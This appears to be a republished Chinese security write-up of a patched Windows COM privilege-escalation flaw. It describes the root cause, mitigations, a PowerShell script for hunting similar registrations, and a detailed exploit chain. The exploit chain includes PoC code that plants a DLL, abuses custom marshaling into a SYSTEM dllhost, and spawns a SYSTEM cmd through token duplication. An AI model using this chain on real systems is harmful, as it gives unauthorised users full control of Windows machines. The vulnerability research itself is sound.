CVE-2026-66804WindowsCOM提权"

admin 2026-10-14 15:47:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVE-2026-66804 Windows COM 提权

原创

毕方安全实验室
毕方安全实验室

BeFun安全实验室

2026年10月12日 15:53
四川

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

CVE-2026-66804 Windows COM 提权

漏洞概述

CVE-2026-66804,Windows 本地提权(CVSS 7.8,CWE-284 Improper Access Control),2026 年 8 月补丁修复。

根因:系统根据 COM 注册 CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496} 的 InProcServer32 指向 %PROGRAMDATA%\\CrossDevice\\CrossDevice.Streaming.Source.dll,默认配置,但是文件可以被普通用户写入,所以写一个指定文件名的dll进去可以被高权限进程加载。

分析

默认情况下有这个注册表:

HKLM\\SOFTWARE\\Classes\\CLSID\\{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}\\InProcServer32
  (Default) REG_EXPAND_SZ  %PROGRAMDATA%\\CrossDevice\\CrossDevice.Streaming.Source.dll

普通用户可写:

New-Item -ItemType Directory -Path \"C:\\ProgramData\\CrossDevice\"
Copy-Item .\\Loader.dll \"C:\\ProgramData\\CrossDevice\\CrossDevice.Streaming.Source.dll\"

高权限进程 CoCreateInstance 该 CLSID 时,LoadLibrary 解析到恶意 DLL。

7 月补丁(CVE-2026-50343 Dark Elevator)干掉了 InstallService 插件这条触发路径,但注册项本身仍然默认存在,所以只需要找一个可以加载的高权限进程。

利用

Custom OBJREF

COM 跨进程传对象时,runtime将对象序列化为 OBJREF。两种主要形式:

  • • Standard OBJREF(按引用):默认。包含回连原对象所需信息(OXID、IPID、RPC 绑定),服务端反序列化后建立 RPC 通道,对象本体仍在发送方的进程;
  • • Custom OBJREF(按值):对象实现 IMarshal 时启用。GetUnmarshalClass 指定反序列化使用的 CLSID,服务端按该 CLSID 查 InProcServer32 加载 DLL,实例化后调 UnmarshalInterface。

可利用的点:

    1. 指定的 CLSID 不要求等于被传对象自身的 CLSID;
    1. 反序列化由runtime在方法调用前无条件执行,不经过目标方法参数校验。

实现:

class FakeMarshal : public IMarshal {
    HRESULT GetUnmarshalClass(REFIID riid, void* pv,
                              DWORD dwDestContext, void* pvDestContext,
                              DWORD mshlflags, CLSID* pCid) override
    {
        return CLSIDFromString(L\"{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}\", pCid);
    }
    // ...
};

缓解措施

Custom marshaling 等价越权加载任意 DLL,Windows 8 起有两个进程级开关:

  1. 1. CoInitializeSecurity 设置 EOAC_NO_CUSTOM_MARSHAL flags;
  2. 2. IGlobalOptions::Set(COMGLB_UNMARSHALING_POLICY, COMGLB_UNMARSHALING_POLICY_STRONG)。

开启任一项后,除显式 opt-in 类与runtime库内受信组件外,Custom OBJREF 被拒收。两者均为进程自选、非系统强制,只要存在运行高权限且均未开启的 COM 服务即可。

批量找:读目标进程内存 combase!gCapabilities(flags)与 combase!g_GLBOPT_UnmarshalingPolicy(序列化策略)做扫描。

宿主:Shell Create Object Handler

CLSID {135FD325-45B7-4C30-89F8-4386961669F0},AppID RunAs NT AUTHORITY\\SYSTEM。特殊性:

  • • 不挂服务名(IsService=False),RPCSS 不会按需拉起,直接 CoCreateInstance 返回 REGDB_E_CLASS_NOTREG;
  • • 宿主必须先运行,实例化才能成功。

利用:

    1. 创建全局事件 Global\\ShellCreateObjectTaskReadyEvent,否则任务进程启动后立即退出;
    1. 启动计划任务 \\Microsoft\\Windows\\Shell\\CreateObjectTask(标准用户有 GenericExecute)。

CoCreateInstance(CLSCTX_LOCAL_SERVER) 成功,宿主为 SYSTEM dllhost,CustomMarshalAllowed = True。

ICreateObject 的 [in] IUnknown\*

标准做法是 CoGetInstanceFromIStorage,把伪造序列化对象作为 pstg 传入,对象激活时无条件反序列化,代价是实现 fake IStorage 过本地 API 检查。

该宿主对象仅暴露 IUnknown / IMarshal / IMarshal2 / ICreateObject(本身是裸 marshaler 类,这也是其允许 custom marshaling 的原因)。ICreateObject 的 IDL:

[uuid(75121952-E0D0-43E5-9380-1D80483ACF72)]
interface ICreateObject : IUnknown {
    HRESULT Proc3([in] GUID* p0, [in] IUnknown* p1,
                  [in] GUID* p2, [out, iid_is(p2)] IUnknown** p3);
}

第二个参数为裸 [in] IUnknown*,直接传 FakeMarshal 对象即可,无需 fake IStorage。

完整调用链

MarshalComObject.exe (标准用户)                    dllhost.exe (SYSTEM)
────────────────────────────                      ─────────────────────────
CoInitializeSecurity
CoCreateInstance(ShellCreateObject, LOCAL_SERVER) ─→ (宿主经计划任务已拉起)
CoCreateInstance(CrossDevice, INPROC_SERVER)
  └─ 加载种植 DLL(第 1 次, 取 IMarshal 对象)
co->CreateObject(CLSID, msh, ...)
  └─ 序列化 FakeMarshal → Custom OBJREF ──────────→ 反序列化(方法调用前):
                                                      查 CLSID {E9F83CF2-...}
                                                      LoadLibrary 种植 DLL(第 2 次)
                                                      DllGetClassObject → FakeMarshal
                                                      UnmarshalInterface
                                                        ├─ SpawnSystemProcess
                                                        └─ SetEvent(Global\\MarshalComObject)
WaitForSingleObject(Global\\MarshalComObject) ←───── 置位
\"Exploit successful.\"

DLL 被加载两次:第一次在攻击者进程内,仅为取得 IMarshal 实现供runtime序列化;第二次在 SYSTEM dllhost 内。

PoC

exp(MarshalComObject.cpp)

  1. 1. ConvertStringSecurityDescriptorToSecurityDescriptor(L\"D:(A;;GA;;;WD)\") 构建授予 Everyone 全权的 SD,创建 Global\\MarshalComObject 事件,保证 SYSTEM 端 DLL 可 OpenEvent ;
  2. 2. LoadLibrary(\"Loader.dll\") → GetModuleFileName → CopyFile 至 C:\\ProgramData\\CrossDevice\\CrossDevice.Streaming.Source.dll;
  3. 3. CoInitializeSecurity,认证级别 PKT\_PRIVACY,不设 EOAC_NO_CUSTOM_MARSHAL;
  4. 4. CoCreateInstance(CLSID_ShellCreateObject, CLSCTX_LOCAL_SERVER) 失败时:创建 Global\\ShellCreateObjectTaskReadyEvent → Task Scheduler COM API 连接 \\Microsoft\\Windows\\Shell\\CreateObjectTask 并 Run → 等事件 → 重试;
  5. 5. CoCreateInstance(CLSID_CrossDevice, CLSCTX_INPROC_SERVER, IID_IMarshal) 取 FakeMarshal;
  6. 6. co->CreateObject(CLSID_ShellCreateObject, msh, IID_PPV_ARGS(&unk)) 投递;
    1. 等待 Global\\MarshalComObject 置位。

payload DLL(dllmain.cpp)

module.def 仅导出 DllGetClassObject,返回 FakeClassFactory,其 CreateInstance 返回 FakeMarshal:

HRESULT MarshalInterface(IStream* pStm, ...) {
    DWORD session_id;
    ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
    pStm->Write(&session_id, sizeof(session_id), &written);  // 攻击者会话 ID 写入序列化流
    return S_OK;
}

HRESULT UnmarshalInterface(IStream* pStm, REFIID riid, void** ppv) {
    // 以下运行在 SYSTEM dllhost
    pStm->Read(&session_id, ...);
    SpawnSystemProcess(session_id);
    SetEvent(OpenEvent(L\"Global\\\\MarshalComObject\"));
    return E_NOTIMPL;
}

SpawnSystemProcess 关键步骤:

OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);      // dllhost 的 SYSTEM 令牌
DuplicateTokenEx(token, TOKEN_ALL_ACCESS, nullptr,
                 SecurityAnonymous, TokenPrimary, &dup_token);       // 复制为主令牌
SetTokenInformation(dup_token, TokenSessionId, &session_id, ...);    // 切回攻击者会话
CreateProcessAsUser(dup_token, nullptr, L\"cmd.exe\", ...,
                    si.lpDesktop = L\"WinSta0\\\\Default\", ...);        // SYSTEM cmd

同类漏洞的挖掘

枚举机器配置单元全部 InProcServer32 类,逐个按 LoadLibrary 语义测试 DLL 可解析性,失败即悬空注册(依赖 OleViewDotNet + NtObjectManager 模块):

function Test-ComServer {
    param($Server)
    try {
        Use-NtObject($lib = Import-Win32Module-Path$Server-Flags AsDataFile) { $true }
    } catch { $false }
}

$db = Get-ComDatabase-LoadMode MachineOnly
$cs = Get-ComClass-Database$db-ServerType InProcServer32
$cs | ? { -not (Test-ComServer$_.DefaultServer) } |
        Sort DefaultServer | Select Name, DefaultServer

细节:

    1. 必须走 LoadLibrary 而非 Test-Path——部分注册只写文件名、依赖系统搜索路径,需按加载器真实解析逻辑判断;
    1. 命中后人工判断路径是否落在用户可写目录(ProgramData、用户可写 PATH 段等),可扩展为自动检查目录 ACL。

该原语适用面不限于悬空注册:任何有缺陷的自定义反序列化器同样可打;仅 DLL 加载本身(依赖解析、DllMain 异常)即构成 DoS 面。

总结

  • • 漏洞类别:卸载/未初始化功能残留的注册表项 + 用户可写系统目录构成提权原语;custom marshaling 缓解为进程自选、覆盖不全,存在符合条件(SYSTEM + 未开启缓解)的 COM 服务即可直达 SYSTEM。
  • • 补丁完整性:前一版本修复了利用路径(InstallService 插件),未清除悬空注册,导致同一根因在两个月内二次修复。
  • • 攻击面评估:悬空 COM 注册可脚本化枚举;combase!gCapabilities / combase!g_GLBOPT_UnmarshalingPolicy 可进程扫描缓解缺口。符合条件的 SYSTEM 服务不止一个,该方向仍有产出空间。

参考文章

  • • https://projectzero.google/2026/09/windows-dangling-com.html(Windows Exploitation Techniques: Dangling COM Object Registrations)

业内诚聘|上市企业诚招人才2026.10.12" 网络安全文章

业内诚聘|上市企业诚招人才2026.10.12"

安恒信息发布招聘广告,介绍其为科创板上市网络安全企业,以AI驱动安全产品创新。现招聘态势感知解决方案专家(北京)和软件测试专家(成都)两岗位,要求具备相关经验与资质,有意者可联系唐女士投递简历。
CVE-2026-66804WindowsCOM提权" 网络安全文章

CVE-2026-66804WindowsCOM提权"

CVE-2026-66804是WindowsCOM本地提权漏洞,CVSS7.8,根因是COM注册表InProcServer32指向普通用户可写的ProgramData目录,攻击者可植入恶意DLL被高权限进程加载。利用CustomOBJREF机制绕过缓解措施,通过ShellCreateObjectHandler宿主以SYSTEM权限加载恶意DLL,实现提权。文章提供完整PoC和同类漏洞挖掘思路,技术深度高,可操作性强。
网安入门必备,网络安全攻防技术实战" 网络安全文章

网安入门必备,网络安全攻防技术实战"

该文档标题为网安入门必备网络安全攻防技术实战,发布于2026年10月12日,作者为网络安全零零。文档内容仅包含标题和大量图片占位符,缺乏实质性技术讲解、操作步骤或案例分析,未提供可操作建议或关键结论,整体信息密度极低,疑似引流或软文性质内容。
评论:0   参与:  0